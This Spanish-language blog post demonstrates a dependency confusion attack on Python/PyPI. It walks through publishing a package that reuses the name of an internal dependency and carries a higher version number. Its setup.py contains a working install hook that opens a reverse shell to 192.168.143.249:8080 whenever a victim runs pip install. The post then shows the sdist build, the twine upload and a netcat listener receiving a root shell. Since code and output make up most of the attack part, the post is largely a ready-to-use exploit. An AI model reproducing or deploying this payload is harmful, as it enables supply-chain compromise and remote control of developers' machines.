Confusión de dependencias en Python

La vulnerabilidad de "dependency confusion" (confusión de dependencias) es una vulnerabilidad que ocurre cuando un proyecto o aplicación utiliza un sistema de administración de paquetes que permite la instalación desde fuentes externas, como repositorios públicos o privados, pero no tiene un mecanismo adecuado para evitar la "confusión" entre las dependencias internas y las externas.

Básicamente lo que hace el ataque es usar un paquete con el mismo nombre que una dependencia interna utilizada por el proyecto, pero lo publica en un repositorio público. Cuando el sistema de administración de paquetes del proyecto busca e instala las dependencias, puede descargar e instalar inadvertidamente el paquete malicioso en lugar de la dependencia interna legítima.

Se sabe que los siguientes administradores de paquetes están afectados:

  • MNP
  • RubyGems
  • PyPi
  • JFrog
  • NuGet 

En el post de hoy vamos a probar con Python/PyPi. Por ejemplo con un archivo requirements.txt típico que se puede usar para extraer paquetes de Python del repositorio de PyPi.

defusedxml
bandit
beautifulsoup4
flask
flask-auth-company-name
Esta configuración de arriba es vulnerable a un ataque de confusión de dependencias porque flask-auth-company-name es una dependencia solo local que no se espera que exista en el repositorio remoto.

Lo que haremos será cargar el paquete malicioso usando ese nombre, asegurándonos de que tenga un número de versión más alto que el del paquete local. La próxima vez que se llame al proceso de compilación, el paquete malicioso se descargará del repositorio y se usará en lugar del paquete local. Podría decirse que es una variante de ataque a la cadena de suministro.

Para probar, primero creamos nuestro payload malicioso, empezando por el setup.py:
from setuptools import setup
from setuptools.command.develop import develop
from setuptools.command.install import install


class PostDevelopCommand(develop):

    def run(self):
        develop.run(self)
        print("probando...")


class PostInstallCommand(install):

    def run(self):
        install.run(self)
        import os
        import sys
        os.system('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.143.249",8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'')


setup(
    name='flask-auth-company-name',
    version="1.0.9",
    url='https://example.com',
    author='Your Name',
    author_email='your@email.com',
    cmdclass={
        'develop': PostDevelopCommand,
        'install': PostInstallCommand,
    }
)
Después lo empaquetamos y le ponemos el lacito:
$ python3 setup.py sdist
 
running sdist
running egg_info
creating flask_auth_company_name.egg-info
writing flask_auth_company_name.egg-info/PKG-INFO
writing dependency_links to flask_auth_company_name.egg-info/dependency_links.txt
writing top-level names to flask_auth_company_name.egg-info/top_level.txt
writing manifest file 'flask_auth_company_name.egg-info/SOURCES.txt'
reading manifest file 'flask_auth_company_name.egg-info/SOURCES.txt'
writing manifest file 'flask_auth_company_name.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check

creating flask-auth-company-name-1.0.9
creating flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying files to flask-auth-company-name-1.0.9...
copying setup.py -> flask-auth-company-name-1.0.9
copying flask_auth_company_name.egg-info/PKG-INFO -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/SOURCES.txt -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/dependency_links.txt -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/not-zip-safe -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
copying flask_auth_company_name.egg-info/top_level.txt -> flask-auth-company-name-1.0.9/flask_auth_company_name.egg-info
Writing flask-auth-company-name-1.0.9/setup.cfg
creating dist
Creating tar archive
removing 'flask-auth-company-name-1.0.9' (and everything under it)
Ahora que tenemos el .tar.gz lo subimos al servidor pypi, en mi caso con twine preconfigurado simplemente:
$ twine upload dist/*

Uploading distributions to http://servidor.pypie.com/
Uploading flask-auth-company-name-1.0.9.tar.gz
100% ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3.7/3.7 kB • 00:00 • ?
Ponemos la "oreja" y esperamos que llegue (cuando la víctima ejecute pip install ... ):
$ nc -lvp 8080
Listening on 0.0.0.0 8080
Connection received on workstation 32980

target:# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

¿Fácil verdad? próximamente veremos confusión de dependencias con npm...


Comentarios